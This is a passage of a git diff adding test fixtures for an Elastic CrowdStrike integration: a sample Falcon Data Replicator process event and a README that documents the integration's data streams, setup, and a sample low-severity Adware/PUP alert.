"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", + "SessionId": "1", + "SourceProcessId": "2439558094566", + "SourceThreadId": "77538684027214", + "Tags": [ + "41", + "12094627905582", + "12094627906234" + ], + "TokenType": "2", + "WindowFlags": "128", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-8462-02ade3b2f949", + "info": { + "host": { + "AgentLoadFlags": "1", + "AgentLocalTime": "1697775225", + "AgentTimeOffset": "15889.017", + "AgentVersion": "7.01.13922.0", + "BiosManufacturer": "Iris", + "BiosVersion": "vG17V.21040423/z64", + "ChassisType": "Other", + "City": "Chicago", + "ConfigBuild": "1007.3.0017312.1", + "ConfigIDBuild": "13922", + "Continent": "North America", + "Country": "United States of America", + "FalconGroupingTags": "'FalconGroupingTags/AMERICA'", + "FirstSeen": "1628678052.0", + "HostHiddenStatus": "Visible", + "MachineDomain": "groot.org", + "OU": "Servers;America;Offices", + "PointerSize": "8", + "ProductType": "3.0", + "ServicePackMajor": "0", + "SiteName": "BCL", + "SystemManufacturer": "Iris", + "SystemProductName": "IrOS", + "Time": "1697992719.22", + "Timezone": "America/Chicago", + "Version": "Windows Server 2021", + "cid": "ffffffff30a3407dae27d0503611022d", + "event_platform": "Win" + }, + "user": { + "AccountType": "Domain User", + "LastLoggedOnHost": "COMPUTER1", + "LocalAdminAccess": "No", + "LogonInfo": "Domain User Logon", + "LogonTime": "1702546155.197", + "LogonType": "Interactive", + "PasswordLastSet": "1699971198.062", + "User": "DOMAIN\\BRADLEYA", + "UserIsAdmin": "0", + "UserLogonFlags_decimal": "0", + "_time": "1702546168.576", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "event_platform": "Win", + "monthsincereset": "1.0" + } + }, + "name": "ProcessRollup2V18" + }, + "data_stream": { + "dataset": "crowdstrike.fdr", + "namespace": "27890", + "type": "logs" + }, + "device": { + "id": "ffffffff655344736aca58d17fb570f0" + }, + "elastic_agent": { + "id": "eb2db106-5958-49b5-ae25-c286e62857e1", + "snapshot": false, + "version": "8.18.0" + }, + "event": { + "action": "ProcessRollup2", + "agent_id_status": "verified", + "category": [ + "process" + ], + "created": "2020-10-01T09:58:32.519Z", + "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d", + "ingested": "2026-02-24T11:51:06Z", + "kind": "event", + "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1601546312519\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffff655344736aca58d17fb570f0", + "ip": [ + "16.15.12.10" + ], + "name": "FEVWSN1-234", + "os": { + "type": "windows" + } + }, + "input": { + "type": "aws-s3" + }, + "message": "ProcessRollup2", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff655344736aca58d17fb570f0", + "version": "1007.3.0012309.1" + }, + "process": { + "Ext": { + "token": { + "integrity_level_name": "LOW" + } + }, + "args": [ + "C:\\WINDOWS\\system32\\backgroundTaskHost.exe", + "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca" + ], + "args_count": 2, + "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca", + "entity_id": "2450046082233", + "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe", + "hash": { + "md5": "50d5fd1290d94d46acca0585311e74d5", + "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37" + }, + "name": "backgroundTaskHost.exe", + "parent": { + "entity_id": "2439558094566", + "name": "svchost.exe" + }, + "pid": 22272, + "start": "2020-11-08T17:06:21.648Z" + }, + "related": { + "hash": [ + "50d5fd1290d94d46acca0585311e74d5", + "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", + "3998263252" + ], + "hosts": [ + "FEVWSN1-234", + "COMPUTER1" + ], + "ip": [ + "67.43.156.14", + "16.15.12.10" + ], + "user": [ + "Alan-One", + "DOMAIN\\BRADLEYA", + "S-1-12-1-3697283754-1083485977-2164330645-2516515886" + ] + }, + "tags": [ + "preserve_original_event", + "forwarded", + "crowdstrike-fdr" + ], + "user": { + "domain": "DOMAIN", + "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886", + "name": "Alan-One" + } +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md new file mode 100644 index 0000000000..6c8dc59146 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md @@ -0,0 +1,3543 @@ +# CrowdStrike Integration + +The [CrowdStrike](https://www.crowdstrike.com/) integration allows you to easily connect your CrowdStrike Falcon platform to Elastic for seamless onboarding of alerts and telemetry from CrowdStrike Falcon and Falcon Data Replicator. Elastic Security can leverage this data for security analytics including correlation, visualization and incident response. It provides support using four different modes for integrating CrowdStrike to the Elastic: + +1. **Falcon SIEM Connector**: This is a pre-built integration designed to connect CrowdStrike Falcon with Security Information and Event Management (SIEM) systems. It streamlines the flow of security data from CrowdStrike Falcon to the SIEM, providing a standardized and structured way of feeding information into the SIEM platform. It includes the following datasets for receiving logs: + +- `falcon` dataset: consists of endpoint data and Falcon platform audit data forwarded from Falcon SIEM Connector. + + **Log File Format and Location** + + The CrowdStrike integration only supports JSON output format from the SIEM Connector. + + - Log files are written to multiple rotated output files based on the `output_path` setting in the `cs.falconhoseclient.cfg` file. + - The default output location for the Falcon SIEM Connector is `/var/log/crowdstrike/falconhoseclient/output`. + - By default, files named `output*` in `/var/log/crowdstrike/falconhoseclient` directory contain valid JSON event data and should be used as the source for ingestion. + + >Note: Files with names like `cs.falconhoseclient-*.log` in the same directory are primarily used for logging internal operations of the Falcon SIEM Connector and are not intended to be consumed by this integration. + +2. **CrowdStrike REST API**: This provides a programmatic interface to interact with the CrowdStrike Falcon platform. It allows users to perform various operations such as querying information about unified alerts and hosts/devices. It includes the following datasets for receiving logs: + +- `alert` dataset: It is typically used to retrieve detailed information about unified alerts generated by the CrowdStrike Falcon platform, via Falcon Intelligence Alert API - `/alerts/combined/alerts/v1`. + +- `host` dataset: It retrieves all the hosts/devices in your environment providing information such as device metadata, configuration, and status generated by the CrowdStrike Falcon platform, via Falcon Intelligence Host/Device API - `/devices/combined/devices/v1`. For GovCloud CIDs it uses `/devices/queries/devices/v1` and `/devices/entities/devices/v2` endpoints. It is more focused to provide the management and monitoring information of devices such as login details, status, policies, configuration etc. + + > NOTE: GovCloud CID users must enable the GovCloud option in the integration configuration to query the `/devices/queries/devices/v1` endpoint instead of the unsupported `/devices/combined/devices/v1` endpoint. + +- `vulnerability` dataset: It retrieves all the vulnerabilities in your environment, providing information such as severity, status, confidence levels, remediation guidance, and affected hosts, as detected by the CrowdStrike Falcon platform, via the Falcon Spotlight Vulnerability API - `/spotlight/combined/vulnerabilities/v1`. + +3. **Falcon Data Replicator**: This collects events from your endpoints, cloud workloads, identities, and data. CrowdStrike Falcon Data Replicator (FDR) enables you with actionable insights to improve SOC performance. FDR contains data collected by the Falcon platform's single, lightweight agent. It includes the following datasets for receiving logs: + +- `fdr` dataset: consists of logs forwarded using the [Falcon Data Replicator](https://github.com/CrowdStrike/FDR). In addition to the existing log types, the integration supports parsing of Cloud Security Posture Management (CSPM). CSPM contains Indicators of Misconfiguration (IOM) and Indicators of Attack (IOA) events. + +4. **CrowdStrike Event Stream**: This streams security logs from CrowdStrike Event Stream, including authentication activity, cloud security posture management (CSPM), firewall logs, user activity, and XDR data. It captures real-time security events like user logins, cloud environment changes, network traffic, and advanced threat detections. The streaming integration provides continuous monitoring and analysis for proactive threat detection. It enhances visibility into user behavior, network security, and overall system health. This setup enables faster response capabilities to emerging security incidents. It includes the following datasets for receiving logs: + +- `falcon` dataset: consists of streaming data forwarded from CrowdStrike Event Stream. + +## Compatibility + +This integration is compatible with CrowdStrike Falcon SIEM-Connector-v2.0, REST API, and CrowdStrike Event Streaming. +For Rest API support, this module has been tested against the **CrowdStrike API Version v1/v2**. + +## Requirements + +### Agentless enabled integration +Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). + +Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. + +### Agent based installation + +Elastic Agent must be installed. For more details, check the Elastic Agent [installation instructions](docs-content://reference/fleet/install-elastic-agents.md). +You can install only one Elastic Agent per host. +Elastic Agent is required to stream data from the GCP Pub/Sub or REST API and ship the data to Elastic, where the events will then be processed via the integration's ingest pipelines. + +## Setup + +### Collect data from CrowdStrike REST API + +The following parameters from your CrowdStrike instance are required: + +1. Client ID +2. Client Secret +3. Token url +4. API Endpoint url +5. Required scopes for each data stream : + + | Data Stream | Scope | + | ------------- | ------------- | + | Alert | read:alert | + | Host | read:host | + | Vulnerability | read:vulnerability | + +### Collect data from CrowdStrike Event Stream + +The following parameters from your CrowdStrike instance are required: + +1. Client ID +2. Client Secret +3. Token URL +4. API Endpoint URL +5. CrowdStrike App ID +6. Required scopes for event stream: + + | Data Stream | Scope | + | ------------- | ------------------- | + | Event Stream | read: Event streams | + +## Logs + +### Alert + +This is the `Alert` dataset. + +#### Example + +An example event for `alert` looks as following: + +```json +{ + "@timestamp": "2023-11-03T18:00:22.328Z", + "agent": { + "ephemeral_id": "efb69ba7-0736-4cf7-a39f-70f3183e7530", + "id": "d541c008-3558-403d-9392-4faa6d42fcb4", + "name": "elastic-agent-43429", + "type": "filebeat", + "version": "8.18.0" + }, + "crowdstrike": { + "alert": { + "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "alleged_filetype": "exe", + "cid": "92012896127c4a948236ba7601b886b0", + "cloud_indicator": false, + "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", + "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "confidence": 10, + "context_timestamp": "2023-11-03T18:00:31.000Z", + "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", + "crawl_edge_ids": { + "Sensor": [ + "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", + "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!", + "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", + "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", + "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N" + ] + }, + "crawl_vertex_ids": { + "Sensor": [ + "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", + "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" + ] + }, + "crawled_timestamp": "2023-11-03T19:00:23.985Z", + "created_timestamp": "2023-11-03T18:01:23.995Z", + "data_domains": [ + "Endpoint" + ], + "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "device": { + "agent_load_flags": 0, + "agent_local_time": "2023-10-12T03:45:57.753Z", + "agent_version": "7.04.17605.0", + "bios_manufacturer": "ABC", + "bios_version": "F8CN42WW(V2.05)", + "cid": "92012896127c4a948236ba7601b886b0", + "config_id_base": "65994763", + "config_id_build": "17605", + "config_id_platform": 3, + "external_ip": "81.2.69.142", + "first_seen": "2023-04-07T09:36:36.000Z", + "groups": [ + "18704e21288243b58e4c76266d38caaf" + ], + "hostinfo": { + "active_directory_dn_display": [ + "WinComputers", + "WinComputers\\ABC" + ], + "domain": "ABC.LOCAL" + }, + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "last_seen": "2023-11-03T17:51:42.000Z", + "local_ip": "81.2.69.142", + "mac_address": "AB-21-48-61-05-B2", + "machine_domain": "ABC.LOCAL", + "major_version": "10", + "minor_version": "0", + "modified_timestamp": "2023-11-03T17:53:43.000Z", + "os_version": "Windows11", + "ou": [ + "ABC", + "WinComputers" + ], + "platform_id": "0", + "platform_name": "Windows", + "product_type": "1", + "product_type_desc": "Workstation", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system_manufacturer": "LENOVO", + "system_product_name": "20VE" + }, + "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "grandparent_details": { + "cmdline": "C:\\Windows\\system32\\userinit.exe", + "filename": "userinit.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", + "local_process_id": "4328", + "md5": "b07f77fd3f9828b2c9d61f8a36609741", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", + "process_id": "392734873135", + "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "timestamp": "2023-10-30T16:49:19.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "yuvraj.mahajan" + }, + "has_script_or_module_ioc": true, + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "ioc_context": [ + { + "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "ioc_source": "library_load", + "ioc_type": "hash_sha256", + "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "type": "module" + } + ], + "ioc_values": [ + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + ], + "is_synthetic_quarantine_disposition": true, + "local_process_id": "17076", + "logon_domain": "ABSYS", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "name": "PrewittPupAdwareSensorDetect-Lowest", + "objective": "FalconDetectionMethod", + "parent_details": { + "cmdline": "C:\\WINDOWS\\Explorer.EXE", + "filename": "explorer.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "local_process_id": "1040", + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "process_id": "392736520876", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "timestamp": "2023-11-03T18:00:32.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + }, + "parent_process_id": "392736520876", + "pattern_disposition": 2176, + "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", + "pattern_disposition_details": { + "blocking_unsupported_or_disabled": false, + "bootup_safeguard_enabled": false, + "critical_process_disabled": false, + "detect": false, + "fs_operation_blocked": false, + "handle_operation_downgraded": false, + "inddet_mask": false, + "indicator": false, + "kill_action_failed": false, + "kill_parent": false, + "kill_process": false, + "kill_subprocess": false, + "operation_blocked": false, + "policy_disabled": false, + "process_blocked": true, + "quarantine_file": true, + "quarantine_machine": false, + "registry_operation_blocked": false, + "rooting": false, + "sensor_only": false, + "suspend_parent": false, + "suspend_process": false + }, + "pattern_id": "5761", + "platform": "Windows", + "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", + "process_end_time": "2023-11-03T18:00:21.000Z", + "process_id": "399748687993", + "process_start_time": "2023-11-03T18:00:13.000Z", + "product": "epp", + "quarantined_files": [ + { + "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "state": "quarantined" + } + ], + "scenario": "NGAV", + "severity": 30, + "severity_name": "low", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "show_in_ui": true, + "source_products": [ + "FalconInsight" + ], + "source_vendors": [ + "CrowdStrike" + ], + "status": "new", + "tactic": "MachineLearning", + "tactic_id": "CSTA0004", + "technique": "Adware/PUP", + "technique_id": "CST0000", + "timestamp": "2023-11-03T18:00:22.328Z", + "tree_id": "1931778", + "tree_root": "38687993", + "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", + "type": "ldt", + "updated_timestamp": "2023-11-03T19:00:23.985Z", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + } + }, + "data_stream": { + "dataset": "crowdstrike.alert", + "namespace": "96581", + "type": "logs" + }, + "device": { + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "manufacturer": "LENOVO", + "model": { + "name": "20VE" + } + }, + "ecs": { + "version": "8.17.0" + }, + "elastic_agent": { + "id": "d541c008-3558-403d-9392-4faa6d42fcb4", + "snapshot": true, + "version": "8.18.0" + }, + "event": { + "agent_id_status": "verified", + "category": [ + "process" + ], + "dataset": "crowdstrike.alert", + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "ingested": "2025-10-09T10:20:29Z", + "kind": "alert", + "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K\\u0026cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ\\u0026-o0:dR/\\u003e\\u003e2J\\u003cd2T/ji6R\\u0026RIHe-tZSkP*q?HW;:leq.:kk)\\u003eIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6\\u003eZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg\\u003cLga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@\\u003cWalY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\\\u003cH^hNG\\\"ZQ3#U3\\\"eo\\u003c\\u003e92t[f!\\u003e*b9WLY@H!V0N,BJsNSTD:?/+fY';e\\u003cOHh9AmlT?5\\u003cgGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E\\u003cG5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb\\u003c6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O'=_7d#%u\\u0026d[+LTNDs\\u003c3307?8n=GrFI:4YYGCL,cIt-Tuj!\\u0026\\u003c6:3RbCuNjL#gW\\u0026=)E4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6\\u003ea%iM\\\"\\u003cFTSe/eH8M:\\u003c9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6\\u0026CHpVKO3\\u003cDgK9,Y/e@V\\\"b\\u0026m!\\u003c\\u003c'\",\"N6CU\\u0026%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.\\u0026eM\\u003cQer\\u003e__\\\"59K'R?_='rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A\\u0026FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\\\u0026\\u0026V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F\\u003c0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##\\u0026$^81(P+hN*-#rf/cUs)Wb\\\"\\u003c_/?I'[##WMh'H[Rcl+!!\\u003c\\u003c'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=\\u003e#DM0j$_\\u003cr/JG0TCEQ!Ug(be3)\\u0026R2JnX+RSqorgC-NCjf6XATBWX(5\\u003cL1J1DV\\u003e44ZjO9q*d!YLuHhkq!3\\u003e3tpi\\u003eOPYZp9]5f1#/AlRZL06/I6cl\\\"d.\\u0026=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03: